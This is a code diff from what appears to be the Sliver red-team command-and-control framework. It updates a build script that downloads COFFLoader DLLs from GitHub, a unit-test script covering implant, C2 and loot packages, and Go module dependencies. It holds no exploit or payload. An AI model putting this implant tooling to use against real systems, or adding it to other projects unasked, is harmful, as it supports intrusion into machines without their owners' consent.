COFF_LOADER_VER="1.0.7"
|
||||
|
||||
@@ -135,8 +135,7 @@ rm -rf ./go
|
||||
rm -f windows-go.zip go$GO_VER.windows-$GO_ARCH_1.zip
|
||||
|
||||
# --- Client ---
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3
|
||||
mkdir -p $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows
|
||||
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " Garble"
|
||||
@@ -149,8 +148,8 @@ curl -L --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch-
|
||||
echo "-----------------------------------------------------------------"
|
||||
echo " COFF Loader"
|
||||
echo "-----------------------------------------------------------------"
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_1/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/windows/$GO_ARCH_3/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows/COFFLoader.x64.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x64.dll
|
||||
curl -L --output $CLIENT_OUTPUT_DIR/extensions/coff-loader/windows/COFFLoader.x86.dll https://github.com/lesnuages/COFFLoader/releases/download/v$COFF_LOADER_VER/COFFLoader.x86.dll
|
||||
|
||||
# end
|
||||
echo -e "clean up: $WORK_DIR"
|
||||
|
||||
+49
-13
@@ -17,21 +17,49 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
echo "----------------------------------------------------------------"
|
||||
echo "WARNING: Running unit tests on slow systems can take a LONG time"
|
||||
echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
|
||||
echo "----------------------------------------------------------------"
|
||||
TAGS=osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
## Client
|
||||
|
||||
# client / command / alias
|
||||
if go test -tags=client,$TAGS ./client/command/alias ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# client / command / extensions
|
||||
if go test -tags=client,$TAGS ./client/command/extensions ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Util
|
||||
|
||||
# util
|
||||
if go test -tags=server,$TAGS ./util ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# util / encoders
|
||||
if go test -tags=server ./util/encoders/basex ; then
|
||||
if go test -tags=server,$TAGS ./util/encoders/basex ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=server ./util/encoders ; then
|
||||
if go test -tags=server,$TAGS ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=client ./util/encoders ; then
|
||||
if go test -tags=client,$TAGS ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
@@ -40,7 +68,7 @@ fi
|
||||
## Implant
|
||||
|
||||
# implant / sliver / transports / dnsclient
|
||||
if go test -tags=server ./implant/sliver/transports/dnsclient ; then
|
||||
if go test -tags=server,$TAGS ./implant/sliver/transports/dnsclient ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
@@ -49,7 +77,7 @@ fi
|
||||
## Server
|
||||
|
||||
# server / website
|
||||
if go test -tags=server ./server/website ; then
|
||||
if go test -tags=server,$TAGS ./server/website ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -57,7 +85,7 @@ else
|
||||
fi
|
||||
|
||||
# server / loot
|
||||
if go test -tags=server ./server/loot ; then
|
||||
if go test -tags=server,$TAGS ./server/loot ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -65,7 +93,7 @@ else
|
||||
fi
|
||||
|
||||
# server / certs
|
||||
if go test -tags=server ./server/certs ; then
|
||||
if go test -tags=server,$TAGS ./server/certs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -73,7 +101,15 @@ else
|
||||
fi
|
||||
|
||||
# server / cryptography
|
||||
if go test -tags=server ./server/cryptography ; then
|
||||
if go test -tags=server,$TAGS ./server/cryptography ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / cryptography / minisign
|
||||
if go test -tags=server,$TAGS ./server/cryptography/minisign ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -81,7 +117,7 @@ else
|
||||
fi
|
||||
|
||||
# server / gogo
|
||||
if go test -tags=server ./server/gogo ; then
|
||||
if go test -tags=server,$TAGS ./server/gogo ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -89,7 +125,7 @@ else
|
||||
fi
|
||||
|
||||
# server / c2
|
||||
if go test -tags=server ./server/c2 ; then
|
||||
if go test -tags=server,$TAGS ./server/c2 ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -97,7 +133,7 @@ else
|
||||
fi
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server ./server/configs ; then
|
||||
if go test -tags=server,$TAGS ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -105,7 +141,7 @@ else
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server ./server/console ; then
|
||||
if go test -tags=server,$TAGS ./server/console ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -113,7 +149,7 @@ else
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
if go test -tags=server ./server/generate -timeout 6h ; then
|
||||
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
|
||||
@@ -5,6 +5,8 @@ go 1.17
|
||||
// fix wgctrl requiring old wireguard
|
||||
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
|
||||
|
||||
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
|
||||
|
||||
require (
|
||||
github.com/AlecAivazis/survey/v2 v2.2.2
|
||||
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
|
||||
@@ -21,8 +23,8 @@ require (
|
||||
github.com/fatih/color v1.12.0
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v3.3.0+incompatible
|
||||
github.com/golang/protobuf v1.5.2
|
||||
github.com/google/uuid v1.2.0
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
@@ -32,7 +34,7 @@ require (
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||
github.com/mattn/go-sqlite3 v1.14.5
|
||||
github.com/mattn/go-sqlite3 v1.14.9
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
@@ -59,13 +61,15 @@ require (
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/emirpasic/gods v1.12.0
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
modernc.org/sqlite v1.14.3
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/StackExchange/wmi v1.2.1 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
@@ -77,6 +81,7 @@ require (
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/desertbit/readline v1.5.1 // indirect
|
||||
github.com/dlclark/regexp2 v1.2.0 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.5.0 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
@@ -92,16 +97,29 @@ require (
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.3.0 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.0 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.18 // indirect
|
||||
modernc.org/ccgo/v3 v3.12.95 // indirect
|
||||
modernc.org/libc v1.11.104 // indirect
|
||||
modernc.org/mathutil v1.4.1 // indirect
|
||||
modernc.org/memory v1.0.5 // indirect
|
||||
modernc.org/opt v0.1.1 // indirect
|
||||
modernc.org/strutil v1.1.1 // indirect
|
||||
modernc.org/token v1.0.0 // indirect
|
||||
)
|
||||
@@ -37,6 +37,8 @@ github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
||||
github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=
|
||||
github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab h1:96tkQLYmgypA3W42fvC3UX3EoOP3hQZuT7d98lnnwyc=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
|
||||
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
|
||||
@@ -102,16 +104,14 @@ github.com/desertbit/columnize v2.1.0+incompatible h1:h55rYmdrWoTj7w9aAnCkxzM3C2
|
||||
github.com/desertbit/columnize v2.1.0+incompatible/go.mod h1:5kPrzQwKbQ8E5D28nvTVPqIBJyj+8jvJzwt6HXZvXgI=
|
||||
github.com/desertbit/go-shlex v0.1.1 h1:c65HnbgX1QyC6kPL1dMzUpZ4puNUE6ai/eVucWNLNsk=
|
||||
github.com/desertbit/go-shlex v0.1.1/go.mod h1:Qbb+mJNud5AypgHZ81EL8syOGaWlwvAOTqS7XmWI4pQ=
|
||||
github.com/desertbit/grumble v1.1.1 h1:1wxy6ka1aqbtA3kZIHaPfB/DD91HSM2m4Kx2QIIGfpE=
|
||||
github.com/desertbit/grumble v1.1.1/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
github.com/desertbit/readline v1.5.1 h1:/wOIZkWYl1s+IvJm/5bOknfUgs6MhS9svRNZpFM53Os=
|
||||
github.com/desertbit/readline v1.5.1/go.mod h1:pHQgTsCFs9Cpfh5mlSUFi9Xa5kkL4d8L1Jo4UVWzPw0=
|
||||
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
|
||||
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
|
||||
github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
|
||||
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/emirpasic/gods v1.12.0 h1:QAUIPSaCu4G+POclxeqb3F+WPpdKqFGlw36+yOzGlrg=
|
||||
github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
|
||||
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
|
||||
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
|
||||
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
|
||||
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
|
||||
@@ -136,6 +136,9 @@ github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2
|
||||
github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
|
||||
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
|
||||
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
|
||||
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
|
||||
github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
|
||||
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
@@ -174,15 +177,18 @@ github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw
|
||||
github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
|
||||
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5 h1:Khx7svrCpmxxtHBq5j2mp/xVjsi8hQMfNLvJFAlrGgU=
|
||||
github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ=
|
||||
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
|
||||
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
|
||||
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
|
||||
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
|
||||
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
|
||||
github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs=
|
||||
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
|
||||
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
|
||||
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
|
||||
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
|
||||
@@ -315,6 +321,8 @@ github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.3.0 h1:/qkRGz8zljWiDcFvgpwUpwIAPu3r07TDvs3Rws+o/pU=
|
||||
github.com/lib/pq v1.3.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
|
||||
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
|
||||
@@ -338,8 +346,8 @@ github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m
|
||||
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
github.com/mattn/go-sqlite3 v1.14.5 h1:1IdxlwTNazvbKJQSxoJ5/9ECbEeaTTyeU7sEAZ5KKTQ=
|
||||
github.com/mattn/go-sqlite3 v1.14.5/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
|
||||
github.com/mattn/go-sqlite3 v1.14.9/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
|
||||
github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0=
|
||||
github.com/mdlayher/genetlink v1.0.0/go.mod h1:0rJ0h4itni50A86M2kHcgS85ttZazNt7a8H2a2cw0Gc=
|
||||
github.com/mdlayher/netlink v0.0.0-20190409211403-11939a169225/go.mod h1:eQB3mZE4aiYnlUsyGGCOpPETfdQq4Jhsgf1fk3cwQaA=
|
||||
@@ -361,6 +369,8 @@ github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:F
|
||||
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
|
||||
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
|
||||
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
|
||||
github.com/moloch--/grumble v1.1.4 h1:/utJ405bbS2/Kx73XE03zqP1a3ZE9p3vqD3ePvsrG8o=
|
||||
github.com/moloch--/grumble v1.1.4/go.mod h1:r7j3ShNy5EmOsegRD2DzTutIaGiLiA3M5yBTXXeLwcs=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 h1:m3yCfV8Vqp4MF1B+gPPjbjINdufl0UXqyYplE0aGhx8=
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945/go.mod h1:1grVt4HaTofvhFUZYtofeRbGXfczNwCie9MYoM4lP/o=
|
||||
github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U=
|
||||
@@ -391,6 +401,8 @@ github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y8
|
||||
github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk=
|
||||
github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA=
|
||||
github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 h1:OdAsTTz6OkFY5QxjkYwrChwuRruF69c169dPK26NUlk=
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
|
||||
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
|
||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ=
|
||||
@@ -403,6 +415,8 @@ github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg
|
||||
github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo=
|
||||
github.com/sergi/go-diff v1.1.0 h1:we8PVUC3FE2uYfodKH/nBHMSetSfHDR6scGdBi+erh0=
|
||||
github.com/sergi/go-diff v1.1.0/go.mod h1:STckp+ISIX8hZLjrqAeVduY0gWCT9IjLuqbuNXdaHfM=
|
||||
github.com/shirou/gopsutil/v3 v3.21.10 h1:flTg1DrnV/UVrBqjLgVgDJzx6lf+91rC64/dBHmO2IA=
|
||||
github.com/shirou/gopsutil/v3 v3.21.10/go.mod h1:t75NhzCZ/dYyPQjyQmrAYP6c8+LCdFANeBMdLPCNnew=
|
||||
github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4=
|
||||
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc h1:jUIKcSPO9MoMJBbEoyE/RJoE8vz7Mb8AjvifMMwSyvY=
|
||||
github.com/shopspring/decimal v0.0.0-20200227202807-02e2044944cc/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o=
|
||||
@@ -439,10 +453,10 @@ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/
|
||||
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 h1:CoMVaYyKFsVj6TjU6APqAhAvC07hTI6IQen8PHzHYY0=
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2/go.mod h1:bv6Xa7kWy82uT0LnXPE2SzGqTj33TAEeR560MdJkiXs=
|
||||
github.com/things-go/go-socks5 v0.0.2 h1:dFi5iZ/LqgHRTQ6n3XlipTLDWHAQsejvJ300bH2VFWo=
|
||||
github.com/things-go/go-socks5 v0.0.2/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43 h1:+sN63SJGqchSsVyNoeW4GyA0Y+g0LvKOHcaeqs1Rf6M=
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43/go.mod h1:dhnDTBbIg31cbJdROP4/Zz6Iw7JPEpiMvOl2LdHSSjE=
|
||||
github.com/tklauser/go-sysconf v0.3.9/go.mod h1:11DU/5sG7UexIrp/O6g35hrWzu0JxlwQ3LSFUzyeuhs=
|
||||
github.com/tklauser/numcpus v0.3.0/go.mod h1:yFGUr7TUHQRAhyqBcEg0Ge34zDBAsIvJJcyE6boqnA8=
|
||||
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
|
||||
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
@@ -498,6 +512,7 @@ golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKG
|
||||
